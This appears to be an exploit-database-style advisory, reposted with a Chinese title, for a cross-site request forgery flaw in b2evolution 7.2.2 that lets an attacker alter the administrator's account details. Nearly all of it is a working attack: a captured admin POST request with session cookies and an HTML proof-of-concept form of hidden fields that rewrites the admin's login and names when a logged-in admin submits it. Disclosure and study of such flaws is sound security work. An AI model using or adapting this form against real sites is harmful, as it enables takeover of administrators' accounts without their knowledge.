B2evolution 7.2.2 CSRF漏洞

# Exploit Title: b2evolution 7.2.2 - 'edit account details' Cross-Site Request Forgery (CSRF)
# Exploit Author: Alperen Ergel (@alpernae)
# Vendor Homepage: https://b2evolution.net/
# Software Link: https://b2evolution.net/downloads/7-2-2
# Version : 7.2.2
# Tested on: Kali Linux
# Category: WebApp

######## Description ########

Allows to attacker change admin account details.  

######## Proof of Concept ########

===> REQUEST <==== 

POST /b2evolution/evoadm.php HTTP/1.1
Host: s2.demo.opensourcecms.com
Cookie: session_b2evo=1387_5XjmCda2lrphrrPvEEZqHq0CANmMmGDt; 
__cmpconsentx19318=CPIqFKEPIqFKEAfUmBENBgCsAP_AAH_AAAYgG9tf_X_fb3_j-_59__t0eY1f9_7_v-0zjheds-8Nyd_X_L8X_2M7vB36pr4KuR4ku3bBAQdtHOncTQmx6IlVqTPsb02Mr7NKJ7PEmlsbe2dYGH9_n9XT_ZKZ79_____7________77______3_v__9-BvbX_1_329_4_v-ff_7dHmNX_f-_7_tM44XnbPvDcnf1_y_F_9jO7wd-qa-CrkeJLt2wQEHbRzp3E0JseiJVakz7G9NjK-
zSiezxJpbG3tnWBh_f5_V0_2Sme_f____-________--______9_7___fgAAA; __cmpcccx19318=aBPIqFKEgAADAAXAA0AB4AQ4DiQKnAAA; 
_ga=GA1.2.1294565572.1625137627; _gid=GA1.2.967259237.1625137627; __gads=ID=b3a3eb6f723d6f76-2210340b6fc800b7:T=1625137656:RT=1625137656:S=ALNI_MaB1e9iPH5NWYZhtIxGIyqg8LXMOA
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 1031
Origin: https://s2.demo.opensourcecms.com
Referer: https://s2.demo.opensourcecms.com/b2evolution/evoadm.php?blog=1&ctrl=user&user_tab=profile&user_ID=1&action=edit&user_tab=profile
Upgrade-Insecure-Requests: 1
Te: trailers
Connection: close

## < SNIPP > 

edited_user_login=opensourcecms&edited_user_firstname=Hacker&edited_user_lastname=Hacker&edited_user_nickname=demo&edited_user_gender=M&edited_user_ctry_ID=233&edited_user_rgn_ID=&edited_user_subrg_ID=&edited_user_city_ID=
&edited_user_age_min=&edited_user_age_max=&edited_user_birthday_month=&edited_user_birthday_day=&edited_user_birthday_year=&organizations%5B%5D=1&org_roles%5B%5D=King+of+Spades&org_priorities%5B%5D=&uf_1=I+am+the+demo+administrator+of+this+site.%0D%0AI+love+having+so+much+power%21&uf_new%5B2%5D%5B%5D=
&uf_new%5B3%5D%5B%5D=&uf_2=https%3A%2F%2Ftwitter.com%2Fb2evolution%2F&uf_3=https%3A%2F%2Fwww.facebook.com%2Fb2evolution&uf_4=https%3A%2F%2Fplus.google.com%2F%2Bb2evolution%2Fposts&uf_5=https%3A%2F%2Fwww.linkedin.com%2Fcompany%2Fb2evolution-net&uf_6=https%3A%2F%2Fgithub.com%2Fb2evolution%2Fb2evolution&uf_7=
http%3A%2F%2Fb2evolution.net%2F&new_field_type=0&actionArray%5Bupdate%5D=Save+Changes%21&crumb_user=zNkyQhORGCWRoCFgM0JhdvYkrqnYpCOl&ctrl=user&user_tab=profile&identity_form=1&user_ID=1&orig_user_ID=1




#### Proof-Of-Concept ####

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://s2.demo.opensourcecms.com/b2evolution/evoadm.php" method="POST">
      <input type="hidden" name="edited_user_login" value="CHANGEHERE" />
      <input type="hidden" name="edited_user_firstname" value="CHANGEHERE" />
      <input type="hidden" name="edited_user_lastname" value="CHANGEHERE" />
      <input type="hidden" name="edited_user_nickname" value="CHANGEHERE" />
      <input type="hidden" name="edited_user_gender" value="M" />
      <input type="hidden" name="edited_user_ctry_ID" value="233" />
      <input type="hidden" name="edited_user_rgn_ID" value="" />
      <input type="hidden" name="edited_user_subrg_ID" value="" />
      <input type="hidden" name="edited_user_city_ID" value="" />
      <input type="hidden" name="edited_user_age_min" value="" />
      <input type="hidden" name="edited_user_age_max" value="" />
      <input type="hidden" name="edited_user_birthday_month" value="" />
      <input type="hidden" name="edited_user_birthday_day" value="" />
      <input type="hidden" name="edited_user_birthday_year" value="" />
      <input type="hidden" name="organizations" value="1" />
      <input type="hidden" name="org_roles" value="King of Spades" />
      <input type="hidden" name="org_priorities" value="" />
      <input type="hidden" name="uf_1" value="I am the demo administrator of this site.&#13;
I love having so much power!" />
      <input type="hidden" name="uf_new2" value="" />
      <input type="hidden" name="uf_new3" value="" />
      <input type="hidden" name="uf_2" value="https://twitter.com/b2evolution/" />
      <input type="hidden" name="uf_3" value="https://www.facebook.com/b2evolution" />
      <input type="hidden" name="uf_4" value="https://plus.google.com/+b2evolution/posts" />
      <input type="hidden" name="uf_5" value="https://www.linkedin.com/company/b2evolution-net" />
      <input type="hidden" name="uf_6" value="https://github.com/b2evolution/b2evolution" />
      <input type="hidden" name="uf_7" value="http://b2evolution.net/" />
      <input type="hidden" name="new_field_type" value="0" />
      <input type="hidden" name="actionArrayupdate" value="Save Changes!" />
      <input type="hidden" name="crumb_user" value="zNkyQhORGCWRoCFgM0JhdvYkrqnYpCOl" />
      <input type="hidden" name="ctrl" value="user" />
      <input type="hidden" name="user_tab" value="profile" />
      <input type="hidden" name="identity_form" value="1" />
      <input type="hidden" name="user_ID" value="1" />
      <input type="hidden" name="orig_user_ID" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
相关文章
